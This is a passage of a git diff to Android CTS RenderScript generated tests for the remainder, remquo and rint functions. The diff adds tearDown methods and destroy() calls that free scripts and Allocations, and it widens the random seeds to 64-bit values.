             verifyResultsRemainderFloatFloatFloat(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderFloatFloatFloat: " + e.toString());
         }
@@ -59,9 +67,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testRemainderFloatFloatFloat(inNumerator, out);
             verifyResultsRemainderFloatFloatFloat(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderFloatFloatFloat: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemainderFloatFloatFloat(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -123,13 +134,14 @@
     }
 
     private void checkRemainderFloat2Float2Float2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3fdcf8d5l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xaa4be3a6l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x27d975633fdcf8d5l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xce8489f2aa4be3a6l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testRemainderFloat2Float2Float2(inNumerator, out);
             verifyResultsRemainderFloat2Float2Float2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderFloat2Float2Float2: " + e.toString());
         }
@@ -138,9 +150,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testRemainderFloat2Float2Float2(inNumerator, out);
             verifyResultsRemainderFloat2Float2Float2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderFloat2Float2Float2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemainderFloat2Float2Float2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -202,13 +217,14 @@
     }
 
     private void checkRemainderFloat3Float3Float3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xe2a8e4d6l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x7d2776dfl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x3681e9ce2a8e4d6l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x97e8cb3b7d2776dfl, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testRemainderFloat3Float3Float3(inNumerator, out);
             verifyResultsRemainderFloat3Float3Float3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderFloat3Float3Float3: " + e.toString());
         }
@@ -217,9 +233,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testRemainderFloat3Float3Float3(inNumerator, out);
             verifyResultsRemainderFloat3Float3Float3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderFloat3Float3Float3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemainderFloat3Float3Float3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -281,13 +300,14 @@
     }
 
     private void checkRemainderFloat4Float4Float4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x8574d0d7l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x50030a18l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xdef6c7d68574d0d7l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x614d0c8450030a18l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testRemainderFloat4Float4Float4(inNumerator, out);
             verifyResultsRemainderFloat4Float4Float4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderFloat4Float4Float4: " + e.toString());
         }
@@ -296,9 +316,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testRemainderFloat4Float4Float4(inNumerator, out);
             verifyResultsRemainderFloat4Float4Float4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderFloat4Float4Float4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemainderFloat4Float4Float4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -368,13 +391,14 @@
     }
 
     private void checkRemainderHalfHalfHalf() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xcd987ebel, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x59b61387l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x1f0d6a28cd987ebel, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0x44c770cf59b61387l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testRemainderHalfHalfHalf(inNumerator, out);
             verifyResultsRemainderHalfHalfHalf(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderHalfHalfHalf: " + e.toString());
         }
@@ -383,9 +407,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testRemainderHalfHalfHalf(inNumerator, out);
             verifyResultsRemainderHalfHalfHalf(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderHalfHalfHalf: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemainderHalfHalfHalf(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -452,13 +479,14 @@
     }
 
     private void checkRemainderHalf2Half2Half2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x3b2e47fel, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0xd890a2c7l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x9c388c3f3b2e47fel, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x5150a4ccd890a2c7l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testRemainderHalf2Half2Half2(inNumerator, out);
             verifyResultsRemainderHalf2Half2Half2(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderHalf2Half2Half2: " + e.toString());
         }
@@ -467,9 +495,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testRemainderHalf2Half2Half2(inNumerator, out);
             verifyResultsRemainderHalf2Half2Half2(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderHalf2Half2Half2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemainderHalf2Half2Half2(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -536,13 +567,14 @@
     }
 
     private void checkRemainderHalf3Half3Half3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x86a0786dl, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0xc450747el, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x56d75d4e86a0786dl, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x36649c44c450747el, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testRemainderHalf3Half3Half3(inNumerator, out);
             verifyResultsRemainderHalf3Half3Half3(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderHalf3Half3Half3: " + e.toString());
         }
@@ -551,9 +583,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testRemainderHalf3Half3Half3(inNumerator, out);
             verifyResultsRemainderHalf3Half3Half3(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderHalf3Half3Half3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemainderHalf3Half3Half3(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
@@ -620,13 +655,14 @@
     }
 
     private void checkRemainderHalf4Half4Half4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xd212a8dcl, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xb0104635l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x11762e5dd212a8dcl, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x1b7893bcb0104635l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.set_gAllocInDenominator(inDenominator);
             script.forEach_testRemainderHalf4Half4Half4(inNumerator, out);
             verifyResultsRemainderHalf4Half4Half4(inNumerator, inDenominator, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderHalf4Half4Half4: " + e.toString());
         }
@@ -635,9 +671,12 @@
             scriptRelaxed.set_gAllocInDenominator(inDenominator);
             scriptRelaxed.forEach_testRemainderHalf4Half4Half4(inNumerator, out);
             verifyResultsRemainderHalf4Half4Half4(inNumerator, inDenominator, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemainderHalf4Half4Half4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemainderHalf4Half4Half4(Allocation inNumerator, Allocation inDenominator, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquo.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquo.java
index 2aafac6..7421046 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquo.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRemquo.java
@@ -37,6 +37,13 @@
         scriptRelaxed = new ScriptC_TestRemquoRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloatIntFloat {
         public float inNumerator;
         public float inDenominator;
@@ -45,8 +52,8 @@
     }
 
     private void checkRemquoFloatFloatIntFloat() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xedd4ff2al, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x2eb19f93l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xcd5efc69edd4ff2al, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0x4ff0c9312eb19f93l, false);
         try {
             Allocation outQuotient = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 1), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
@@ -54,6 +61,8 @@
             script.set_gAllocOutQuotient(outQuotient);
             script.forEach_testRemquoFloatFloatIntFloat(inNumerator, out);
             verifyResultsRemquoFloatFloatIntFloat(inNumerator, inDenominator, outQuotient, out, false);
+            outQuotient.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemquoFloatFloatIntFloat: " + e.toString());
         }
@@ -64,9 +73,13 @@
             scriptRelaxed.set_gAllocOutQuotient(outQuotient);
             scriptRelaxed.forEach_testRemquoFloatFloatIntFloat(inNumerator, out);
             verifyResultsRemquoFloatFloatIntFloat(inNumerator, inDenominator, outQuotient, out, true);
+            outQuotient.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemquoFloatFloatIntFloat: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemquoFloatFloatIntFloat(Allocation inNumerator, Allocation inDenominator, Allocation outQuotient, Allocation out, boolean relaxed) {
@@ -128,8 +141,8 @@
     }
 
     private void checkRemquoFloat2Float2Int2Float2() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x3a27171al, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x6ba08403l, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x28c14abc3a27171al, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x58f8799a6ba08403l, false);
         try {
             Allocation outQuotient = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
@@ -137,6 +150,8 @@
             script.set_gAllocOutQuotient(outQuotient);
             script.forEach_testRemquoFloat2Float2Int2Float2(inNumerator, out);
             verifyResultsRemquoFloat2Float2Int2Float2(inNumerator, inDenominator, outQuotient, out, false);
+            outQuotient.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemquoFloat2Float2Int2Float2: " + e.toString());
         }
@@ -147,9 +162,13 @@
             scriptRelaxed.set_gAllocOutQuotient(outQuotient);
             scriptRelaxed.forEach_testRemquoFloat2Float2Int2Float2(inNumerator, out);
             verifyResultsRemquoFloat2Float2Int2Float2(inNumerator, inDenominator, outQuotient, out, true);
+            outQuotient.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemquoFloat2Float2Int2Float2: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemquoFloat2Float2Int2Float2(Allocation inNumerator, Allocation inDenominator, Allocation outQuotient, Allocation out, boolean relaxed) {
@@ -211,8 +230,8 @@
     }
 
     private void checkRemquoFloat3Float3Int3Float3() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x96052526l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf273f8afl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf60211df96052526l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xd1d6c7fcf273f8afl, false);
         try {
             Allocation outQuotient = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
@@ -220,6 +239,8 @@
             script.set_gAllocOutQuotient(outQuotient);
             script.forEach_testRemquoFloat3Float3Int3Float3(inNumerator, out);
             verifyResultsRemquoFloat3Float3Int3Float3(inNumerator, inDenominator, outQuotient, out, false);
+            outQuotient.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemquoFloat3Float3Int3Float3: " + e.toString());
         }
@@ -230,9 +251,13 @@
             scriptRelaxed.set_gAllocOutQuotient(outQuotient);
             scriptRelaxed.forEach_testRemquoFloat3Float3Int3Float3(inNumerator, out);
             verifyResultsRemquoFloat3Float3Int3Float3(inNumerator, inDenominator, outQuotient, out, true);
+            outQuotient.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemquoFloat3Float3Int3Float3: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemquoFloat3Float3Int3Float3(Allocation inNumerator, Allocation inDenominator, Allocation outQuotient, Allocation out, boolean relaxed) {
@@ -294,8 +319,8 @@
     }
 
     private void checkRemquoFloat4Float4Int4Float4() {
-        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf1e33332l, false);
-        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x79476d5bl, false);
+        Allocation inNumerator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xc342d902f1e33332l, false);
+        Allocation inDenominator = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4ab5165f79476d5bl, false);
         try {
             Allocation outQuotient = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
@@ -303,6 +328,8 @@
             script.set_gAllocOutQuotient(outQuotient);
             script.forEach_testRemquoFloat4Float4Int4Float4(inNumerator, out);
             verifyResultsRemquoFloat4Float4Int4Float4(inNumerator, inDenominator, outQuotient, out, false);
+            outQuotient.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemquoFloat4Float4Int4Float4: " + e.toString());
         }
@@ -313,9 +340,13 @@
             scriptRelaxed.set_gAllocOutQuotient(outQuotient);
             scriptRelaxed.forEach_testRemquoFloat4Float4Int4Float4(inNumerator, out);
             verifyResultsRemquoFloat4Float4Int4Float4(inNumerator, inDenominator, outQuotient, out, true);
+            outQuotient.destroy();
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRemquoFloat4Float4Int4Float4: " + e.toString());
         }
+        inNumerator.destroy();
+        inDenominator.destroy();
     }
 
     private void verifyResultsRemquoFloat4Float4Int4Float4(Allocation inNumerator, Allocation inDenominator, Allocation outQuotient, Allocation out, boolean relaxed) {
diff --git a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRint.java b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRint.java
index 89dc0e8..67baf6e 100644
--- a/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRint.java
+++ b/tests/tests/renderscript/src/android/renderscript/cts/generated/TestRint.java
@@ -37,17 +37,25 @@
         scriptRelaxed = new ScriptC_TestRintRelaxed(mRS);
     }
 
+    @Override
+    protected void tearDown() throws Exception {
+        script.destroy();
+        scriptRelaxed.destroy();
+        super.tearDown();
+    }
+
     public class ArgumentsFloatFloat {
         public float inV;
         public Target.Floaty out;
     }
 
     private void checkRintFloatFloat() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xbf02db54l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 1, 0xb88cd9adbf02db54l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             script.forEach_testRintFloatFloat(inV, out);
             verifyResultsRintFloatFloat(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintFloatFloat: " + e.toString());
         }
@@ -55,9 +63,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 1), INPUTSIZE);
             scriptRelaxed.forEach_testRintFloatFloat(inV, out);
             verifyResultsRintFloatFloat(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintFloatFloat: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRintFloatFloat(Allocation inV, Allocation out, boolean relaxed) {
@@ -112,11 +122,12 @@
     }
 
     private void checkRintFloat2Float2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0x601c6298l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 2, 0xf12aed2f601c6298l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             script.forEach_testRintFloat2Float2(inV, out);
             verifyResultsRintFloat2Float2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintFloat2Float2: " + e.toString());
         }
@@ -124,9 +135,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 2), INPUTSIZE);
             scriptRelaxed.forEach_testRintFloat2Float2(inV, out);
             verifyResultsRintFloat2Float2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintFloat2Float2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRintFloat2Float2(Allocation inV, Allocation out, boolean relaxed) {
@@ -181,11 +194,12 @@
     }
 
     private void checkRintFloat3Float3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0x56378376l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 3, 0xf12cb64a56378376l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             script.forEach_testRintFloat3Float3(inV, out);
             verifyResultsRintFloat3Float3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintFloat3Float3: " + e.toString());
         }
@@ -193,9 +207,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 3), INPUTSIZE);
             scriptRelaxed.forEach_testRintFloat3Float3(inV, out);
             verifyResultsRintFloat3Float3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintFloat3Float3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRintFloat3Float3(Allocation inV, Allocation out, boolean relaxed) {
@@ -250,11 +266,12 @@
     }
 
     private void checkRintFloat4Float4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0x4c52a454l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_32, 4, 0xf12e7f654c52a454l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             script.forEach_testRintFloat4Float4(inV, out);
             verifyResultsRintFloat4Float4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintFloat4Float4: " + e.toString());
         }
@@ -262,9 +279,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_32, 4), INPUTSIZE);
             scriptRelaxed.forEach_testRintFloat4Float4(inV, out);
             verifyResultsRintFloat4Float4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintFloat4Float4: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRintFloat4Float4(Allocation inV, Allocation out, boolean relaxed) {
@@ -325,11 +344,12 @@
     }
 
     private void checkRintHalfHalf() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xec6959del, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 1, 0xc4f2f962ec6959del, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             script.forEach_testRintHalfHalf(inV, out);
             verifyResultsRintHalfHalf(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintHalfHalf: " + e.toString());
         }
@@ -337,9 +357,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 1), INPUTSIZE);
             scriptRelaxed.forEach_testRintHalfHalf(inV, out);
             verifyResultsRintHalfHalf(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintHalfHalf: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRintHalfHalf(Allocation inV, Allocation out, boolean relaxed) {
@@ -398,11 +420,12 @@
     }
 
     private void checkRintHalf2Half2() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x2c212290l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 2, 0x7eea4b612c212290l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             script.forEach_testRintHalf2Half2(inV, out);
             verifyResultsRintHalf2Half2(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintHalf2Half2: " + e.toString());
         }
@@ -410,9 +433,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 2), INPUTSIZE);
             scriptRelaxed.forEach_testRintHalf2Half2(inV, out);
             verifyResultsRintHalf2Half2(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintHalf2Half2: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRintHalf2Half2(Allocation inV, Allocation out, boolean relaxed) {
@@ -471,11 +496,12 @@
     }
 
     private void checkRintHalf3Half3() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x8b28e784l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 3, 0x7eea56028b28e784l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             script.forEach_testRintHalf3Half3(inV, out);
             verifyResultsRintHalf3Half3(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintHalf3Half3: " + e.toString());
         }
@@ -483,9 +509,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 3), INPUTSIZE);
             scriptRelaxed.forEach_testRintHalf3Half3(inV, out);
             verifyResultsRintHalf3Half3(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintHalf3Half3: " + e.toString());
         }
+        inV.destroy();
     }
 
     private void verifyResultsRintHalf3Half3(Allocation inV, Allocation out, boolean relaxed) {
@@ -544,11 +572,12 @@
     }
 
     private void checkRintHalf4Half4() {
-        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0xea30ac78l, false);
+        Allocation inV = createRandomAllocation(mRS, Element.DataType.FLOAT_16, 4, 0x7eea60a3ea30ac78l, false);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             script.forEach_testRintHalf4Half4(inV, out);
             verifyResultsRintHalf4Half4(inV, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testRintHalf4Half4: " + e.toString());
         }
@@ -556,9 +585,11 @@
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.FLOAT_16, 4), INPUTSIZE);
             scriptRelaxed.forEach_testRintHalf4Half4(inV, out);
             verifyResultsRintHalf4Half4(inV, out, true);
+            out.destroy();
         } catch (Exception e) {
